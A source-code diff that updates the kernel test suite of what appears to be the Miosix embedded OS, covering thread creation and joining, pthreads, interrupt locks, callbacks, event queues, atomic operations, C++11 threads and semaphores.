@@ void test_11() if(MemoryProfiling::getAbsoluteFreeHeap()>heapSize) fail("getAbsoluteFreeHeap"); //Multithread test - Thread *t=Thread::create(t11_p1,STACK_SMALL,0,0,Thread::JOINABLE); + Thread *t=Thread::create(t11_p1,STACK_SMALL,0,nullptr,Thread::JOINABLE); t11_v1=MemoryProfiling::getCurrentFreeHeap(); t->join(0); Thread::sleep(10); //Give time to the idle thread for deallocating resources @@ -1698,6 +1859,7 @@ void t12_p2(void *argv) void test_12() { test_name("Priority inheritance 2"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_SMALL)*2); Thread::setPriority(priorityAdapter(0)); //For EDF Thread *t1; Thread *t2; @@ -1706,7 +1868,7 @@ void test_12() Lock l(t12_m2); //Then we create the first thread that will lock successfully the first //mutex, but will block while locking the second - t1=Thread::create(t12_p1,STACK_SMALL,priorityAdapter(0),0, + t1=Thread::create(t12_p1,STACK_SMALL,priorityAdapter(0),nullptr, Thread::JOINABLE); Thread::sleep(5); //Last, we create the third thread that will block at the first mutex, @@ -1714,7 +1876,7 @@ void test_12() //But since the first thread is itself waiting, the priority increase //should transitively pass to the thread who locked the second mutex, //which is main. - t2=Thread::create(t12_p2,STACK_SMALL,priorityAdapter(1),0, + t2=Thread::create(t12_p2,STACK_SMALL,priorityAdapter(1),nullptr, Thread::JOINABLE); Thread::sleep(5); if(Thread::getCurrentThread()->getPriority()!=priorityAdapter(1)) @@ -1738,7 +1900,7 @@ void test_13() { test_name("stderr"); //Test stderr, as it used to fail - int res=fiprintf(stderr,"This string is printed through stderr. %d\n",0); + int res=fiprintf(stderr,"This string is printed through stderr. %d ",0); if(res<=0) fail("stderr"); pass(); } @@ -1785,6 +1947,8 @@ void t14_p3(void *argv) void test_14() { test_name("joinable threads"); + //TODO: Not sure if 8 simultaneous threads alive is an overestimate or not + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_SMALL)*8); // // Memory leak tests. These tests make sure that memory of joinable threads // is always deallocated. Since during tests MemoryStatistics.print() is @@ -1793,33 +1957,33 @@ void test_14() // //Test 1: detached thread that returns void* - Thread *t=Thread::create(t14_p1,STACK_SMALL,0,0); + Thread *t=Thread::create(t14_p1,STACK_SMALL,0,nullptr,Thread::DETACHED); if(!t) fail("thread creation (1)"); t->terminate(); Thread::sleep(10); - if(Thread::exists(t)) fail("detached thread"); + if(threadExists(t)) fail("detached thread"); //Test 2: joining a not deleted thread - t=Thread::create(t14_p2,STACK_SMALL,0,0,Thread::JOINABLE); + t=Thread::create(t14_p2,STACK_SMALL,0,nullptr,Thread::JOINABLE); if(!t) fail("thread creation (2)"); t->join(); Thread::sleep(10); //Test 3: detaching a thread while not deleted - t=Thread::create(t14_p2,STACK_SMALL,0,0,Thread::JOINABLE); + t=Thread::create(t14_p2,STACK_SMALL,0,nullptr,Thread::JOINABLE); if(!t) fail("thread creation (3)"); Thread::yield(); t->detach(); Thread::sleep(10); //Test 4: detaching a deleted thread - t=Thread::create(t14_p1,STACK_SMALL,0,0,Thread::JOINABLE); + t=Thread::create(t14_p1,STACK_SMALL,0,nullptr,Thread::JOINABLE); if(!t) fail("thread creation (4)"); t->terminate(); Thread::sleep(10); t->detach(); Thread::sleep(10); //Test 5: detaching a thread on which some other thread called join - t=Thread::create(t14_p2,STACK_SMALL,0,0,Thread::JOINABLE); + t=Thread::create(t14_p2,STACK_SMALL,0,nullptr,Thread::JOINABLE); if(!t) fail("thread creation (5)"); - if(!Thread::create(t14_p3,STACK_SMALL,0,reinterpret_cast(t))) + if(!Thread::create(t14_p3,STACK_SMALL,0,reinterpret_cast(t),Thread::DETACHED)) fail("thread creation (6)"); if(t->join()==true) fail("thread not detached (1)"); @@ -1834,12 +1998,12 @@ void test_14() if(!t) fail("thread creation (7)"); Thread::yield(); if(t->join(&result)==false) fail("Thread::join (1)"); - if(Thread::exists(t)) fail("Therad::exists (1)"); + if(threadExists(t)) fail("Thread::exists (1)"); if(reinterpret_cast(result)!=0xdeadbeef) fail("join result (1)"); Thread::sleep(10); //Test 2: join on joinable, but detach called before - t=Thread::create(t14_p2,STACK_SMALL,0,0,Thread::JOINABLE); + t=Thread::create(t14_p2,STACK_SMALL,0,nullptr,Thread::JOINABLE); if(!t) fail("thread creation (8)"); Thread::yield(); t->detach(); @@ -1847,15 +2011,15 @@ void test_14() Thread::sleep(60); //Test 3: join on joinable, but detach called after - t=Thread::create(t14_p1,STACK_SMALL,0,0,Thread::JOINABLE); + t=Thread::create(t14_p1,STACK_SMALL,0,nullptr,Thread::JOINABLE); if(!t) fail("thread creation (9)"); - Thread::create(t14_p3,STACK_SMALL,0,reinterpret_cast(t)); + Thread::create(t14_p3,STACK_SMALL,0,reinterpret_cast(t),Thread::DETACHED); if(t->join()==true) fail("Thread::join (3)"); t->terminate(); Thread::sleep(10); //Test 4: join on detached, not already deleted - t=Thread::create(t14_p1,STACK_SMALL,0,0); + t=Thread::create(t14_p1,STACK_SMALL,0,nullptr,Thread::DETACHED); if(!t) fail("thread creation (9)"); if(t->join()==true) fail("Thread::join (4)"); t->terminate(); @@ -1871,19 +2035,19 @@ void test_14() if(!t) fail("thread creation (10)"); t->terminate(); Thread::sleep(10); - if(Thread::exists(t)==false) fail("Therad::exists (2)"); + if(threadExists(t)==false) fail("Thread::exists (2)"); if(t->join(&result)==false) fail("Thread::join (6)"); - if(Thread::exists(t)) fail("Therad::exists (3)"); + if(threadExists(t)) fail("Thread::exists (3)"); if(reinterpret_cast(result)!=0xdeadbeef) fail("join result (2)"); Thread::sleep(10); //Test 7: join on already detached and deleted - t=Thread::create(t14_p1,STACK_SMALL,0,0,Thread::JOINABLE); + t=Thread::create(t14_p1,STACK_SMALL,0,nullptr,Thread::JOINABLE); if(!t) fail("thread creation (11)"); t->detach(); t->terminate(); Thread::sleep(10); - if(Thread::exists(t)) fail("Therad::exists (4)"); + if(threadExists(t)) fail("Thread::exists (4)"); if(t->join()==true) fail("Thread::join (7)"); Thread::sleep(10); @@ -1935,12 +2099,13 @@ void t15_p3(void *argv) static void test_15() { test_name("Condition variables"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_SMALL)*3); //Test signal t15_v1=false; t15_v2=false; t15_v3=0; - Thread *p1=Thread::create(t15_p1,STACK_SMALL,0); - Thread *p2=Thread::create(t15_p2,STACK_SMALL,0); + Thread *p1=Thread::create(t15_p1,STACK_SMALL,0,nullptr,Thread::DETACHED); + Thread *p2=Thread::create(t15_p2,STACK_SMALL,0,nullptr,Thread::DETACHED); for(int i=0;i<20;i++) { Thread::sleep(10); @@ -1956,14 +2121,14 @@ static void test_15() t15_v2=false; } Thread::sleep(10); - if(Thread::exists(p1) || Thread::exists(p2)) + if(threadExists(p1) || threadExists(p2)) fail("Threads not deleted (1)"); //Test broadcast t15_v1=false; t15_v2=false; t15_v3=0; - p1=Thread::create(t15_p1,STACK_SMALL,0); - p2=Thread::create(t15_p2,STACK_SMALL,0); + p1=Thread::create(t15_p1,STACK_SMALL,0,nullptr,Thread::DETACHED); + p2=Thread::create(t15_p2,STACK_SMALL,0,nullptr,Thread::DETACHED); for(int i=0;i<10;i++) { Thread::sleep(10); @@ -1979,7 +2144,7 @@ static void test_15() t15_v2=false; } Thread::sleep(10); - if(Thread::exists(p1) || Thread::exists(p2)) + if(threadExists(p1) || threadExists(p2)) fail("Threads not deleted (2)"); //testing timedWait @@ -1997,7 +2162,7 @@ static void test_15() } //iprintf("delta=%lld\n",b-a); if(llabs(b-a)>timeout1) fail("timedwait (2)"); - Thread::create(t15_p3,STACK_SMALL,0); + Thread::create(t15_p3,STACK_SMALL,0,nullptr,Thread::DETACHED); a=getTime()+100000000; //100ms { Lock l(t15_m1); @@ -2136,6 +2301,7 @@ void t16_p5(void*) static void test_16() { test_name("posix threads"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_SMALL)*2); // // Test pthread_attr_* // @@ -2148,7 +2314,7 @@ static void test_16() if(temp2!=STACK_DEFAULT_FOR_PTHREAD) fail("attr_getstacksize (1)"); if(pthread_attr_getdetachstate(&attr,&temp)!=0) fail("attr_getdetachstate (1)"); - if(temp!=PTHREAD_CREATE_JOINABLE) fail("attr_getdetahstate (1)"); + if(temp!=PTHREAD_CREATE_JOINABLE) fail("attr_getdetachstate (1)"); //setstacksize should fail for anything below STACK_SMALL if(pthread_attr_setstacksize(&attr,STACK_MIN-4)!=EINVAL) fail("stacks < STACK_MIN allowed"); @@ -2163,10 +2329,10 @@ static void test_16() if(temp2!=STACK_MIN) fail("attr_getstacksize (3)"); //now try setting detach state if(pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_DETACHED)!=0) - fail("attr_stedetachstate return value (1)"); + fail("attr_setdetachstate return value (1)"); if(pthread_attr_getdetachstate(&attr,&temp)!=0) fail("attr_getdetachstate (2)"); - if(temp!=PTHREAD_CREATE_DETACHED) fail("attr_getdetahstate (2)"); + if(temp!=PTHREAD_CREATE_DETACHED) fail("attr_getdetachstate (2)"); // // Test pthread_create, pthread_self, pthread_equal, pthread_attr_destroy // @@ -2174,7 +2340,7 @@ static void test_16() if(pthread_create(&thread,&attr,t16_p1,NULL)!=0) fail("pthread_create (1)"); Thread *t=toThread(thread); - if(Thread::exists(t)==false) fail("thread not created"); + if(threadExists(t)==false) fail("thread not created"); if(t->isDetached()==false) fail("attr_setdetachstate not considered"); pthread_t self=pthread_self(); if(Thread::getCurrentThread()!=toThread(self)) fail("pthread_self"); @@ -2184,7 +2350,7 @@ static void test_16() Thread::sleep(10); //Give the other thread time to call wait() t->wakeup(); Thread::sleep(10); - if(Thread::exists(t)) fail("unexpected"); + if(threadExists(t)) fail("unexpected"); // // testing pthread_join and pthread_detach // @@ -2193,26 +2359,26 @@ static void test_16() if(pthread_create(&thread,&attr,t16_p1,(void*)0xdeadbeef)!=0) fail("pthread_create (2)"); t=toThread(thread); - if(Thread::exists(t)==false) fail("thread not created (2)"); + if(threadExists(t)==false) fail("thread not created (2)"); if(t->isDetached()==true) fail("detached by mistake (1)"); Thread::sleep(10); //Give the other thread time to call wait() t->wakeup(); void *res; if(pthread_join(thread,&res)!=0) fail("join return value"); if(((unsigned)res)!=0xdeadbeef) fail("entry point return value"); - if(Thread::exists(t)) fail("not joined"); + if(threadExists(t)) fail("not joined"); Thread::sleep(10); //Testing create with no pthread_attr_t if(pthread_create(&thread,NULL,t16_p1,NULL)!=0) fail("pthread_create (3)"); t=toThread(thread); - if(Thread::exists(t)==false) fail("thread not created (3)"); + if(threadExists(t)==false) fail("thread not created (3)"); if(t->isDetached()==true) fail("detached by mistake (2)"); if(pthread_detach(thread)!=0) fail("detach return value"); if(t->isDetached()==false) fail("detach"); Thread::sleep(10); //Give the other thread time to call wait() t->wakeup(); Thread::sleep(10); - if(Thread::exists(t)) fail("unexpected (2)"); + if(threadExists(t)) fail("unexpected (2)"); // // testing pthread_mutex_* // @@ -2221,7 +2387,7 @@ static void test_16() if(pthread_create(&thread,NULL,t16_p2,(void*)&t16_m1)!=0) fail("pthread_create (4)"); t=toThread(thread); - if(Thread::exists(t)==false) fail("thread not created (4)"); + if(threadExists(t)==false) fail("thread not created (4)"); if(t->isDetached()==true) fail("detached by mistake (3)"); Thread::sleep(10); if(t16_v1==true) fail("mutex fail"); @@ -2248,7 +2414,7 @@ static void test_16() if(pthread_create(&thread,NULL,t16_p2,(void*)&mutex)!=0) fail("pthread_create (6)"); t=toThread(thread); - if(Thread::exists(t)==false) fail("thread not created (5)"); + if(threadExists(t)==false) fail("thread not created (5)"); if(t->isDetached()==true) fail("detached by mistake (4)"); Thread::sleep(10); if(t16_v1==true) fail("mutex fail (3)"); @@ -2261,7 +2427,7 @@ static void test_16() if(pthread_create(&thread,NULL,t16_p2,(void*)&mutex)!=0) fail("pthread_create (7)"); t=toThread(thread); - if(Thread::exists(t)==false) fail("thread not created (6)"); + if(threadExists(t)==false) fail("thread not created (6)"); if(t->isDetached()==true) fail("detached by mistake (5)"); Thread::sleep(10); if(pthread_mutex_destroy(&mutex)==0) fail("mutex destroy"); @@ -2273,7 +2439,7 @@ static void test_16() // if(pthread_create(&thread,NULL,t16_p3,NULL)!=0) fail("pthread_create (8)"); t=toThread(thread); - if(Thread::exists(t)==false) fail("thread not created (7)"); + if(threadExists(t)==false) fail("thread not created (7)"); if(t->isDetached()==true) fail("detached by mistake (6)"); if(pthread_mutex_lock(&t16_m1)!=0) fail("mutex lock (5)"); //<--- t16_v1=false; @@ -2286,7 +2452,7 @@ static void test_16() if(pthread_cond_init(&t16_c2,NULL)!=0) fail("cond_init"); if(pthread_create(&thread,NULL,t16_p4,NULL)!=0) fail("pthread_create (9)"); t=toThread(thread); - if(Thread::exists(t)==false) fail("thread not created (8)"); + if(threadExists(t)==false) fail("thread not created (8)"); if(t->isDetached()==true) fail("detached by mistake (7)"); if(pthread_mutex_lock(&t16_m1)!=0) fail("mutex lock (6)"); //<--- t16_v1=false; @@ -2337,9 +2503,8 @@ static void test_16() if(t16_v2!=1) fail("pthread_once 2"); if(pthread_once(&t16_o1,t16_f1)!=0) fail("pthread_once 2"); if(t16_v2!=1) fail("pthread_once 3"); - if(sizeof(pthread_once_t)!=2) fail("pthread_once 4"); t16_v2=0; - Thread::create(t16_p5,STACK_MIN); + Thread::create(t16_p5,STACK_MIN,DEFAULT_PRIORITY,nullptr,Thread::DETACHED); Thread::sleep(50); if(pthread_once(&t16_o2,t16_f2)!=0) fail("pthread_once 5"); if(t16_v2!=1) fail("pthread_once does not wait"); @@ -2498,12 +2663,12 @@ static const char b2c[]="b2c----x"; static const char b3c[]="b3c----xx"; static const char b4c[]=""; -static char *IRQgbw(FastInterruptDisableLock& dLock) +static char *IRQgbw(FastGlobalIrqLock& dLock) { char *buffer=0; if(bq.tryGetWritableBuffer(buffer)==false) { - FastInterruptEnableLock eLock(dLock); + FastGlobalIrqUnlock eLock(dLock); fail("BufferQueue::get"); } return buffer; @@ -2511,20 +2676,16 @@ static char *IRQgbw(FastInterruptDisableLock& dLock) static void gbr(const char *&buffer, unsigned int& size) { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; while(bq.tryGetReadableBuffer(buffer,size)==false) { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } + Thread::IRQglobalIrqUnlockAndWait(dLock); } } static void be() { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; bq.bufferEmptied(); } @@ -2532,13 +2693,13 @@ static void t19_p1(void *argv) { Thread::sleep(50); { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; char *buffer=IRQgbw(dLock); strcpy(buffer,b1c); bq.bufferFilled(strlen(b1c)); t19_v1->IRQwakeup(); { - FastInterruptEnableLock eLock(dLock); + FastGlobalIrqUnlock eLock(dLock); Thread::sleep(10); } buffer=IRQgbw(dLock); @@ -2546,7 +2707,7 @@ static void t19_p1(void *argv) bq.bufferFilled(strlen(b2c)); t19_v1->IRQwakeup(); { - FastInterruptEnableLock eLock(dLock); + FastGlobalIrqUnlock eLock(dLock); Thread::sleep(10); } buffer=IRQgbw(dLock); @@ -2554,7 +2715,7 @@ static void t19_p1(void *argv) bq.bufferFilled(strlen(b3c)); t19_v1->IRQwakeup(); { - FastInterruptEnableLock eLock(dLock); + FastGlobalIrqUnlock eLock(dLock); Thread::sleep(10); } buffer=IRQgbw(dLock); @@ -2641,7 +2802,7 @@ static void test_19() //Now real multithreaded test t19_v1=Thread::getCurrentThread(); - Thread *t=Thread::create(t19_p1,STACK_MIN,0,0,Thread::JOINABLE); + Thread *t=Thread::create(t19_p1,STACK_MIN,0,nullptr,Thread::JOINABLE); gbr(buffer,size); if(size!=strlen(b1c)) fail("returned size"); if(strcmp(buffer,b1c)!=0) fail("returned buffer"); @@ -2699,21 +2860,70 @@ class T20_c1 public: T20_c1() : x(0) {} - void h() + void h() { x=4321; } - + void k(int a, int b) { x=a*b; } - + int get() const { return x; } private: int x; }; +int t20_c2_copied; +int t20_c2_moved; +int t20_c2_destroyed; + +class T20_c2 +{ +public: + T20_c2(): moved(false) { } + + T20_c2(T20_c2& rhs): moved(false) + { + t20_c2_copied++; + } + + T20_c2(T20_c2&& rhs): moved(false) + { + if(rhs.moved) fail("T20_c2 moved twice"); + t20_c2_moved++; + rhs.moved=true; + } + + T20_c2& operator= (T20_c2& rhs) + { + t20_c2_copied++; + return *this; + } + + T20_c2& operator= (T20_c2&& rhs) + { + if(rhs.moved) fail("T20_c2 moved twice"); + t20_c2_moved++; + rhs.moved=true; + return *this; + } + + void operator()() + { + if(moved) fail("T20_c2 instance that was moved away has been called"); + t20_v1=777; + } + + ~T20_c2() + { + if(!moved) t20_c2_destroyed++; + } +private: + bool moved; +}; + #ifndef __NO_EXCEPTIONS void thrower() @@ -2725,12 +2935,12 @@ void t20_t1(void* arg) { EventQueue *eq=reinterpret_cast(arg); t20_v1=0; - eq->post(t20_f1); + eq->post(&t20_f1); Thread::sleep(10); if(t20_v1!=1234) fail("Not called"); t20_v1=0; - eq->post(t20_f1); + eq->post(&t20_f1); eq->post(bind(t20_f2,5,5)); //Checking event ordering Thread::sleep(10); if(t20_v1!=10) fail("Not called"); @@ -2742,8 +2952,8 @@ void t20_t2(void* arg) { FixedEventQueue<2> *eq=reinterpret_cast*>(arg); t20_v1=0; - eq->post(t20_f1); - eq->post(t20_f1); + eq->post(&t20_f1); + eq->post(&t20_f1); unsigned long long t1=getTime(); eq->post(bind(t20_f2,10,4)); //This should block unsigned long long t2=getTime(); @@ -2754,7 +2964,7 @@ void t20_t2(void* arg) if(t20_v1!=14) fail("Not called"); Thread::sleep(10); - eq->post(thrower); + eq->post(&thrower); } #endif //__NO_EXCEPTIONS @@ -2767,36 +2977,51 @@ static void test_20() Callback<20> cb; t20_v1=0; - cb=t20_f1; //4 bytes - Callback<20> cb2(cb); - cb2(); - if(t20_v1!=1234) fail("Callback"); - - cb=bind(t20_f2,12,2); //12 bytes - cb2=cb; - cb2(); - if(t20_v1!=14) fail("Callback"); - - T20_c1 c; - cb=bind(&T20_c1::h,&c); //12 bytes - cb2=cb; - cb2(); - if(c.get()!=4321) fail("Callback"); - - cb=bind(&T20_c1::k,&c,10,15); //20 bytes - cb2=cb; - cb2(); - if(c.get()!=150) fail("Callback"); - - cb=bind(&T20_c1::k,ref(c),12,12); //20 bytes - cb2=cb; - cb2(); - if(c.get()!=144) fail("Callback"); - - cb.clear(); - cb2=cb; - if(cb2) fail("Empty callback"); - + cb=std::move(&t20_f1); //4 bytes + Callback<20> cb2(std::move(cb)); + cb2(); + if(t20_v1!=1234) fail("Callback 1"); + + cb=bind(t20_f2,12,2); //12 bytes + cb2=std::move(cb); + cb2(); + if(t20_v1!=14) fail("Callback 2"); + + T20_c1 c; + cb=bind(&T20_c1::h,&c); //12 bytes + cb2=std::move(cb); + cb2(); + if(c.get()!=4321) fail("Callback 3"); + + cb=bind(&T20_c1::k,&c,10,15); //20 bytes + cb2=std::move(cb); + cb2(); + if(c.get()!=150) fail("Callback 4"); + + cb=bind(&T20_c1::k,ref(c),12,12); //20 bytes + cb2=std::move(cb); + cb2(); + if(c.get()!=144) fail("Callback 5"); + + cb.clear(); + cb2=std::move(cb); + if(cb2) fail("Empty callback"); + + // Test that we move rather than copy objects inside callback + t20_c2_copied=t20_c2_moved=t20_c2_destroyed=0; + { + Callback<20> cb3; + Callback<20> cb4; + T20_c2 moveTestClass; + cb3=std::move(moveTestClass); // First move + cb4=std::move(cb3); // Second move + cb4(); + } + if(t20_c2_copied!=0) fail("Callback copied class"); + if(t20_c2_moved!=2) fail("Callback contents move ct not called"); + if(t20_c2_destroyed!=1) fail("Callback contents destructor not called"); + if(t20_v1!=777) fail("Callback not called"); + // // Testing EventQueue // @@ -2806,7 +3031,7 @@ static void test_20() eq.runOne(); //This tests that runOne() does not block t20_v1=0; - eq.post(t20_f1); + eq.post(&t20_f1); if(t20_v1!=0) fail("Too early"); if(eq.empty() || eq.size()!=1) fail("Not empty EventQueue"); eq.runOne(); @@ -2814,7 +3039,7 @@ static void test_20() if(eq.empty()==false || eq.size()!=0) fail("Empty EventQueue"); t20_v1=0; - eq.post(t20_f1); + eq.post(&t20_f1); eq.post(bind(t20_f2,2,3)); if(t20_v1!=0) fail("Too early"); if(eq.empty() || eq.size()!=2) fail("Not empty EventQueue"); @@ -2846,7 +3071,7 @@ static void test_20() feq.runOne(); //This tests that runOne() does not block t20_v1=0; - feq.post(t20_f1); + feq.post(&t20_f1); if(t20_v1!=0) fail("Too early"); if(feq.empty() || feq.size()!=1) fail("Not empty EventQueue"); feq.runOne(); @@ -2854,7 +3079,7 @@ static void test_20() if(feq.empty()==false || feq.size()!=0) fail("Empty EventQueue"); t20_v1=0; - feq.post(t20_f1); + feq.post(&t20_f1); feq.post(bind(t20_f2,2,3)); if(t20_v1!=0) fail("Too early"); if(feq.empty() || feq.size()!=2) fail("Not empty EventQueue"); @@ -2866,9 +3091,9 @@ static void test_20() if(feq.empty()==false || feq.size()!=0) fail("Empty EventQueue"); t20_v1=0; - feq.post(t20_f1); + feq.post(&t20_f1); if(feq.postNonBlocking(bind(t20_f2,2,3))==false) fail("PostNonBlocking 1"); - if(feq.postNonBlocking(t20_f1)==true) fail("PostNonBlocking 2"); + if(feq.postNonBlocking(&t20_f1)==true) fail("PostNonBlocking 2"); if(t20_v1!=0) fail("Too early"); if(feq.empty() || feq.size()!=2) fail("Not empty EventQueue"); feq.runOne(); @@ -2934,6 +3159,7 @@ static void *t21_t1(void*) static void test_21() { test_name("Floating point"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_DEFAULT_FOR_PTHREAD)); pthread_t t; pthread_create(&t,0,t21_t1,0); for(int i=0;i<5;i++) @@ -2976,7 +3202,10 @@ static void t22_t2(void *argv) { while(Thread::testTerminate()==false) { - t22_v5=true; + { + FastGlobalIrqLock dLock; + t22_v5=true; + } #ifndef SCHED_TYPE_EDF Thread::yield(); #else //SCHED_TYPE_EDF @@ -3014,7 +3243,15 @@ class t22_c1 } }; +//TODO: remove this guard +//atomic_load/store brings in exception code but it shouldn't +#ifndef __NO_EXCEPTIONS +#if __cplusplus >= 202002L +// atomic_store/load is deprecated for shared_ptr in C++20 +std::atomic> t22_v7; +#else shared_ptr t22_v7; +#endif void t22_t3(void*) { @@ -3029,10 +3266,12 @@ void t22_t3(void*) atomic_store(&t22_v7,shared_ptr(nullptr)); inst1->canDelete=true; } +#endif static void test_22() { test_name("Atomic ops"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_DEFAULT_FOR_PTHREAD)); //Check thread safety for atomic ops (both GCC provided and the miosix ones) t22_v1=t22_v2=t22_v3=t22_v4=0; @@ -3089,14 +3328,9 @@ static void test_22() //Check that the implementation works with interrupts disabled too bool error=false; - Thread *t2=Thread::create(t22_t2,STACK_MIN,0,0,Thread::JOINABLE); - { - #if __CORTEX_M != 0x00 - FastInterruptDisableLock dLock; - #else - //Cortex M0 does not have atomic ops, they are emulated by disabling IRQ - InterruptDisableLock dLock; - #endif + Thread *t2=Thread::create(t22_t2,STACK_MIN,0,nullptr,Thread::JOINABLE); + { + FastGlobalIrqLock dLock; t22_v5=false; int x=10; @@ -3136,9 +3370,12 @@ static void test_22() t2->terminate(); t2->join(); + //TODO: remove this guard + //atomic_load/store brings in exception code but it shouldn't + #ifndef __NO_EXCEPTIONS t22_v8=0; { - Thread *t3=Thread::create(t22_t3,STACK_SMALL,0,0,Thread::JOINABLE); + Thread *t3=Thread::create(t22_t3,STACK_SMALL,0,nullptr,Thread::JOINABLE); auto inst2=make_shared(); for(int i=0;i l(t23_m1); Lock l2(t23_m1); - Thread *t=Thread::create(t23_f1,2*STACK_MIN,1,0,Thread::JOINABLE); + Thread *t=Thread::create(t23_f1,2*STACK_MIN,1,nullptr,Thread::JOINABLE); t23_c1.wait(l2); t->join(); } { Lock l(t23_m2); Lock l2(t23_m2); - Thread *t=Thread::create(t23_f2,2*STACK_MIN,1,0,Thread::JOINABLE); + Thread *t=Thread::create(t23_f2,2*STACK_MIN,1,nullptr,Thread::JOINABLE); t23_c2.wait(l2); t->join(); } pthread_mutex_lock(&t23_m3); pthread_mutex_lock(&t23_m3); - Thread *t=Thread::create(t23_f3,2*STACK_MIN,1,0,Thread::JOINABLE); + Thread *t=Thread::create(t23_f3,2*STACK_MIN,1,nullptr,Thread::JOINABLE); pthread_cond_wait(&t23_c3,&t23_m3); t->join(); pthread_mutex_unlock(&t23_m3); @@ -3575,6 +3813,9 @@ static void test_24() pass(); } +//TODO: remove this guard +//anything related to std::thread brings in exception code but it shouldn't +#ifndef __NO_EXCEPTIONS // // Test 25 // @@ -3635,12 +3876,12 @@ void t25_p3(int i) static void test_25() { /* - * C++11 threads run with MAIN_PRIORITY, so to avoid deadlocks or other - * artifacts, we restore main't priority to the default, and set it back + * C++11 threads run with DEFAULT_PRIORITY, so to avoid deadlocks or other + * artifacts, we restore main's priority to the default, and set it back * to 0 at the end of this test, as the rest of the testsuite runs with * lowest priority */ - Thread::setPriority(MAIN_PRIORITY); + Thread::setPriority(DEFAULT_PRIORITY); test_name("C++11 threads"); // // Test thread::thread, native_handle, get_id, detach, joinable @@ -3648,7 +3889,7 @@ static void test_25() { thread thr(t25_p1,2,5); Thread *t=reinterpret_cast(thr.native_handle()); - if(Thread::exists(t)==false) fail("thread::thread"); + if(threadExists(t)==false) fail("thread::thread"); if(t->isDetached()==true) fail("initial detachstate"); if(thr.joinable()==false) fail("thread::joinable"); thr.detach(); @@ -3662,7 +3903,7 @@ static void test_25() if(t!=t25_v1) fail("thread::native_handle"); t->wakeup(); Thread::sleep(10); - if(Thread::exists(t)) fail("unexpected"); + if(threadExists(t)) fail("unexpected"); } // // Testing join @@ -3670,11 +3911,11 @@ static void test_25() { thread thr(t25_p1,2,5); Thread *t=reinterpret_cast(thr.native_handle()); - if(Thread::exists(t)==false) fail("thread::thread"); + if(threadExists(t)==false) fail("thread::thread"); Thread::sleep(10); //Give the other thread time to call wait() t->wakeup(); thr.join(); - if(Thread::exists(t)==true) fail("thread::join"); + if(threadExists(t)==true) fail("thread::join"); } // // Testing async @@ -3771,16 +4012,25 @@ static void test_25() // Testing yield // #ifndef SCHED_TYPE_EDF + //On multi-core can only really test yield if core pinning is enabled + #if !defined(WITH_SMP) || defined(WITH_THREAD_AFFINITY) { + Thread::getCurrentThread()->setAffinity(1); //Only core 0 volatile bool enable=false; volatile bool flag=false; - thread thr([&]{ while(enable==false) /*wait*/; flag=true; }); + thread thr([&]{ + Thread::getCurrentThread()->setAffinity(1); //Only core 0 + while(enable==false) /*wait*/; + flag=true; + }); Thread::sleep(10); //Get the other thread ready enable=true; this_thread::yield(); if(flag==false) fail("this_thread::yield"); + Thread::getCurrentThread()->setAffinity(unrestrictedAffinityMask); thr.join(); } + #endif //!defined(WITH_SMP) || defined(WITH_THREAD_AFFINITY) #endif //SCHED_TYPE_EDF // // Testing system_clock/this_thread::sleep_for @@ -3844,6 +4094,9 @@ static void test_25() pass(); Thread::setPriority(0); } +#else //__NO_EXCEPTIONS +void test_25() {} +#endif //__NO_EXCEPTIONS // // Test 26 @@ -3857,7 +4110,12 @@ void *t26_t1(void*) { for(int i=0;i<10;i++) { - if(errno!=0) fail("errno"); + auto temp=errno; + if(temp!=0) + { + fiprintf(stderr,"%d %d ",temp,i); + fail("errno 1"); + } Thread::sleep(1); } return nullptr; @@ -3866,13 +4124,19 @@ void *t26_t1(void*) static void test_26() { test_name("C reentrancy data"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_DEFAULT_FOR_PTHREAD)); pthread_t t; pthread_create(&t,0,t26_t1,0); for(int i=0;i<10;i++) { errno=-i-1; Thread::sleep(1); - if(errno!=-i-1) fail("errno"); + auto temp=errno; + if(temp!=-i-1) + { + fiprintf(stderr,"%d %d ",temp,i); + fail("errno 2"); + } } pthread_join(t,0); pass(); @@ -3936,12 +4200,14 @@ void *t27_t3(void *xdata) static void test_27() { test_name("Semaphores"); + CHECK_AVAIL_HEAP(EST_THREAD_HEAP_USAGE(STACK_SMALL)*5); t27_data data; - Thread *thd=Thread::create(t27_t1,STACK_SMALL,MAIN_PRIORITY,reinterpret_cast(&data),Thread::JOINABLE); for(int i=0; i<5; i++) data.producer.wait(); if(data.producer.getCount() != 0) fail("wait to zero with counter >= 0 not working"); + Thread *thd=Thread::create(t27_t1,STACK_SMALL,DEFAULT_PRIORITY, + reinterpret_cast(&data),Thread::JOINABLE); for(int i=0; i<10; i++) { data.producer.wait(); @@ -3951,7 +4217,8 @@ static void test_27() if(data.producer.getCount() != 0 && data.consumer.getCount() != 0) fail("wait with counter == 0 not working"); - Thread *thd2=Thread::create(t27_t2,STACK_SMALL,MAIN_PRIORITY,reinterpret_cast(&data),Thread::JOINABLE); + Thread *thd2=Thread::create(t27_t2,STACK_SMALL,DEFAULT_PRIORITY, + reinterpret_cast(&data),Thread::JOINABLE); auto res = data.producer.timedWait(getTime()+200*1000000LL); if(res == TimedWaitResult::Timeout) fail("timedWait did not return the first time without timeout, timebase incorrect?"); @@ -3978,11 +4245,12 @@ static void test_27() Thread *thds[3]; for(int i=0; i<3; i++) { - //Priority is > than MAIN_PRIORITY to ensure all the threads get stuck + //Priority is > than DEFAULT_PRIORITY to ensure all the threads get stuck //at the `data->consumer.wait();` line and not earlier. //This test is disabled on EDF scheduler to avoid having to fudge with //deadlines to make this happen. - thds[i] = Thread::create(t27_t3,STACK_SMALL,MAIN_PRIORITY+1,reinterpret_cast(&data),Thread::JOINABLE); + thds[i] = Thread::create(t27_t3,STACK_SMALL,DEFAULT_PRIORITY+1, + 